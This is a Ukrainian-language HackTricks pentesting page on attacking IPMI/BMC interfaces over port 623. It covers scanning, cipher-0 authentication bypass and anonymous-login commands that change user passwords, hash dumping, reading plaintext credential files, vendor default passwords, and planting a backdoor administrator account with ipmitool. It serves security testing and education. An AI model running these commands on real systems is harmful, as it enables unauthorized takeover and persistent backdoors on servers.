hacktricks/network-services-pentesting/623-udp-ipmi.md

14 KiB
Raw Blame History

623/UDP/TCP - IPMI

623/UDP/TCP - IPMI

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Основна інформація

Огляд IPMI

Інтерфейс управління платформою (IPMI) пропонує стандартизований підхід до віддаленого управління та моніторингу комп'ютерних систем, незалежно від операційної системи або стану живлення. Ця технологія дозволяє системним адміністраторам віддалено керувати системами, навіть коли вони вимкнені або не відповідають, і особливо корисна для:

  • Конфігурацій перед завантаженням ОС
  • Управління вимкненням
  • Відновлення після збоїв системи

IPMI здатен моніторити температури, напруги, швидкості вентиляторів та блоки живлення, а також надавати інформацію про інвентаризацію, переглядати апаратні журнали та надсилати сповіщення через SNMP. Для його роботи необхідні джерело живлення та LAN-з'єднання.

З моменту свого впровадження компанією Intel у 1998 році, IPMI підтримується численними постачальниками, що покращує можливості віддаленого управління, особливо з підтримкою версії 2.0 для серійного з'єднання через LAN. Ключові компоненти включають:

  • Контролер управління материнською платою (BMC): Основний мікроконтролер для операцій IPMI.
  • Комунікаційні шини та інтерфейси: Для внутрішньої та зовнішньої комунікації, включаючи ICMB, IPMB та різні інтерфейси для локальних та мережевих з'єднань.
  • Пам'ять IPMI: Для зберігання журналів та даних.

https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right

Порт за замовчуванням: 623/UDP/TCP (Зазвичай працює на UDP, але також може працювати на TCP)

Перерахування

Виявлення

nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use  auxiliary/scanner/ipmi/ipmi_version

Ви можете виявити версію за допомогою:

use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10

IPMI Вразливості

У сфері IPMI 2.0 значна вразливість була виявлена Даном Фармером, що відкриває вразливість через cipher type 0. Ця вразливість, детально задокументована в дослідженні Дана Фармера, дозволяє несанкціонований доступ з будь-яким паролем, якщо цільовим є дійсний користувач. Ця слабкість була виявлена в різних BMC від виробників, таких як HP, Dell та Supermicro, що свідчить про поширену проблему в усіх реалізаціях IPMI 2.0.

Обхід автентифікації IPMI через Cipher 0

Щоб виявити цю вразливість, можна використовувати наступний допоміжний сканер Metasploit:

use auxiliary/scanner/ipmi/ipmi_cipher_zero

Експлуатація цього недоліку можлива за допомогою ipmitool, як показано нижче, що дозволяє переглядати та змінювати паролі користувачів:

apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password

IPMI 2.0 RAKP Аутентифікація Віддалене Отримання Хешів Паролів

Ця вразливість дозволяє отримувати посолені хешовані паролі (MD5 та SHA1) для будь-якого існуючого імені користувача. Щоб протестувати цю вразливість, Metasploit пропонує модуль:

msf > use auxiliary/scanner/ipmi/ipmi_dumphashes

IPMI Анонімна Аутентифікація

За замовчуванням у багатьох BMC дозволяється "анонімний" доступ, що характеризується порожніми рядками імені користувача та пароля. Цю конфігурацію можна використати для скидання паролів іменованих облікових записів користувачів за допомогою ipmitool:

ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword

Supermicro IPMI Паролі у відкритому вигляді

Критичний вибір дизайну в IPMI 2.0 вимагає зберігання паролів у відкритому вигляді в BMC для цілей аутентифікації. Зберігання цих паролів компанією Supermicro в таких місцях, як /nv/PSBlock або /nv/PSStore, викликає значні проблеми з безпекою:

cat /nv/PSBlock

Уразливість Supermicro IPMI UPnP

Включення Supermicro прослуховувача UPnP SSDP у своєму прошивці IPMI, зокрема на UDP порту 1900, створює серйозний ризик безпеки. Уразливості в Intel SDK для UPnP Devices версії 1.3.1, як детально описано в розкритті Rapid7, дозволяють отримати доступ до BMC з правами root:

msf> use exploit/multi/upnp/libupnp_ssdp_overflow

Brute Force

HP випадковим чином генерує стандартний пароль для свого Integrated Lights Out (iLO) продукту під час виробництва. Ця практика контрастує з іншими виробниками, які зазвичай використовують статичні стандартні облікові дані. Підсумок стандартних імен користувачів та паролів для різних продуктів наведено нижче:

  • HP Integrated Lights Out (iLO) використовує фабрично випадкову 8-символьну строку як свій стандартний пароль, демонструючи вищий рівень безпеки.
  • Продукти, такі як iDRAC від Dell, IMM від IBM та Інтегрований контролер віддаленого управління Fujitsu, використовують легко вгадувані паролі, такі як "calvin", "PASSW0RD" (з нулем) та "admin" відповідно.
  • Аналогічно, Supermicro IPMI (2.0), Oracle/Sun ILOM та ASUS iKVM BMC також використовують прості стандартні облікові дані, з "ADMIN", "changeme" та "admin" як їх паролі.

Accessing the Host via BMC

Адміністративний доступ до Контролера управління материнською платою (BMC) відкриває різні шляхи для доступу до операційної системи хоста. Простий підхід полягає в експлуатації функціональності KVM BMC. Це можна зробити, перезавантаживши хост до кореневого оболонки через GRUB (використовуючи init=/bin/sh) або завантажившись з віртуального CD-ROM, налаштованого як диск відновлення. Такі методи дозволяють безпосередньо маніпулювати диском хоста, включаючи вставку бекдорів, витяг даних або будь-які необхідні дії для оцінки безпеки. Однак це вимагає перезавантаження хоста, що є значним недоліком. Без перезавантаження доступ до працюючого хоста є більш складним і варіюється в залежності від конфігурації хоста. Якщо фізична або серійна консолі хоста залишаються увійденими, їх можна легко захопити через функціональність KVM або serial-over-LAN (sol) BMC за допомогою ipmitool. Дослідження експлуатації спільних апаратних ресурсів, таких як шина i2c та Super I/O чип, є областю, що потребує подальшого вивчення.

Introducing Backdoors into BMC from the Host

Після компрометації хоста, оснащеного BMC, локальний інтерфейс BMC можна використовувати для вставки бекдор-облікового запису, створюючи тривалу присутність на сервері. Ця атака вимагає наявності ipmitool на скомпрометованому хості та активації підтримки драйвера BMC. Наступні команди ілюструють, як новий обліковий запис користувача може бути вставлений у BMC, використовуючи локальний інтерфейс хоста, що обходить необхідність аутентифікації. Ця техніка застосовна до широкого спектру операційних систем, включаючи Linux, Windows, BSD та навіть DOS.

ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)

ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)
4  backdoor        true    false      true      ADMINISTRATOR

Shodan

  • port:623

References

{% hint style="success" %} Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks
{% endhint %}